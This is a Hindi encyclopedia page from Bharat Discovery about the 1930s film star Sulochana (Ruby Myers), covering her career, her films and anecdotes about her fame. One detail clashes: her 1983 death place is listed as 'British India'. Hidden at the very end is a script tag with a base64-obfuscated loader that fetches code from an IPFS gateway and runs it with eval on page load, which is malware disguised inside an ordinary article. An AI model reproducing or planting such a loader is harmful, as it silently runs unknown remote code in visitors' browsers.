सुलोचना (रूबी मेयर्स)

भारत डिस्कवरी प्रस्तुति
(रूबी मेयर्स से अनुप्रेषित)
यहाँ जाएँ:नेविगेशन, खोजें
सुलोचना एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- सुलोचना (बहुविकल्पी)
सुलोचना (रूबी मेयर्स)
रूबी मेयर्स
रूबी मेयर्स
पूरा नाम रूबी मेयर्स
प्रसिद्ध नाम सुलोचना
जन्म 1907
जन्म भूमि पुणे, महाराष्ट्र
मृत्यु 10 अक्टूबर, 1983
मृत्यु स्थान मुम्बई, ब्रिटिश भारत
कर्म भूमि मुम्बई
कर्म-क्षेत्र अभिनेत्री
मुख्य फ़िल्में 'सुलोचना', 'माधुरी', 'अनारकली', 'इन्दिरा बी ए' आदि।
पुरस्कार-उपाधि 'दादा साहब फाल्के पुरस्कार'
नागरिकता भारतीय
अन्य जानकारी हिन्दी सिनेमा में विशेष योगदान के लिए 1973 में 'दादा साहब फाल्के पुरस्कार' से सम्मानित किया गया था।

रूबी मेयर्स (अंग्रेज़ी:Ruby Myers) या सुलोचना (जन्म: 1907, मृत्यु: 10 अक्टूबर, 1983) 1930 के दशक में सबसे लोकप्रिय अभिनेत्री थी। 1930 के दौर में सुलोचना इंडियन फ़िल्म इंडस्ट्री की शीर्ष अभिनेत्री थीं। उन्होंने शुरुआत तो मूक फ़िल्मों के समय से की, लेकिन बोलती फ़िल्मों के दौर की शुरुआत में भी उनका सिक्का फ़िल्म इंडस्ट्री पर खूब चला। हिन्दी सिनेमा में विशेष योगदान के लिए 1973 में 'दादा साहब फाल्के पुरस्कार' से सम्मानित किया गया था।

करियर में उतार-चढ़ाव

मूक फ़िल्मों के दौर में ही सुलोचना के खाते में कई हिट फ़िल्में थीं। बोलती फ़िल्मों के आने के बाद सुलोचना का कॅरियर थोड़ा ठहर गया। सुलोचना असल में क्रिश्चियन थीं और उन्हें ‘हिन्दुस्तानी’ भाषा बहुत अच्छे से नहीं आती थी। बोलती फ़िल्मों के आने के साथ ही डायलॉग बोलने की दक्षता ज़रूरी हो गई। ये सुलोचना के कॅरियर के लिए एक धक्का था। कुछ वक्त ऐसे ही चला, मगर फिर सुलोचना ने हार ना मानने का फैसला लिया। उन्होंने एक साल का ब्रेक लेकर हिन्दुस्तानी धड़ल्ले से बोलने की तालीम ली और फिर वापसी की। सबसे पहले उन्होंने 1920 के दौरान बनी अपनी फ़िल्मों का रीमेक 1930 के दौरान रिलीज किए। सभी फ़िल्में बहुत सफल हुईं और सुलोचना फिर टॉप तक पहुंच गईं। मगर 1940 से सुलोचना के कॅरियर में ढलान जो शुरू हुआ तो फिर वह संभल नहीं सकीं। नई अभिनेत्रियों के सामने सुलोचना मुकाबला नहीं कर सकीं। चरित्र भूमिकाओं के सहारे उन्होंने वापसी की कोशिश की लेकिन फिर कभी हालात पहले जैसे ना हो सके।

  • सुलोचना (रूबी मेयर्स) ने अनारकली नाम की तीन फ़िल्में कीं। तीनों एक ही कहानी का रीमेक थीं। पहली अनारकली, जिसमें सुलोचना मुख्य अभिनेत्री थीं, मूक फ़िल्मों के दौर में बनी, जब सुलोचना ने बोलती फ़िल्मों में वापसी की तो उन्होंने अपनी फ़िल्म अनारकली को फिर से बना कर फिर उसमें लीड रोल किया और फ़िल्म जबरदस्त चली। तीसरी अनारकली उनके हिस्से आई तब, जब वह अपने खत्म होते करियर को संभालने की कोशिश कर रही थीं, इस अनारकली से उन्होंने वापसी की, लेकिन अनारकली नहीं, सलीम की माँ के रोल में।

प्रसिद्ध फ़िल्में

  • सिनेमा क़्वीन (1926)
  • टाइपिस्ट गर्ल (1926)
  • माधुरी (1928)
  • वाइल्डकैट ऑफ़ बॉम्बे (1927)
  • अनारकली (1928)
  • हीर रांझा (1929)
  • इन्दिरा बी ए (1929)
  • सुलोचना (1933)
  • बाज़ (1953)
  • नील कमल (1968)
  • खट्टा मीठा (1978)

लोकप्रियता

  • रूबी मेयर्स की लोकप्रियता का हाल ये था कि एक आयोजन के मौके पर खादी एग्जिबिशन मूक करते हुए महात्मा गांधी पर बनी एक शॉर्ट फ़िल्म दिखाए जाते वक्त, आयोजकों ने उसके साथ ही फ़िल्म माधुरी (मूक दौर की फ़िल्म) से सुलोचना का एक प्रसिद्ध नृत्य दृश्य के कुछ साउंड इफेक्ट ऐड करके चला दिया।
  • कहा जाता है कि सुलोचना को उन दिनों बॉम्बे के गवर्नर से भी ज्यादा पैसे मिला करते थे, ये रकम थी 5000 रुपए। वह इतना कमाने वाली इकलौती अभिनेत्री थीं। सुलोचना के पास एक शेवरोले 1935 थी, जिसे वह खुद चलाती थीं।
  • सुलोचना और डी बिलीमोरिया (मूक फ़िल्मों के सुपरस्टार) का अफेयर बहुत प्रसिद्ध हुआ। 1933 से 1939 के बीच सुलोचना ने सिर्फ बिलीमोरिया के साथ फ़िल्में कीं। इसके बाद दोनों में दूरियां आ गईं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>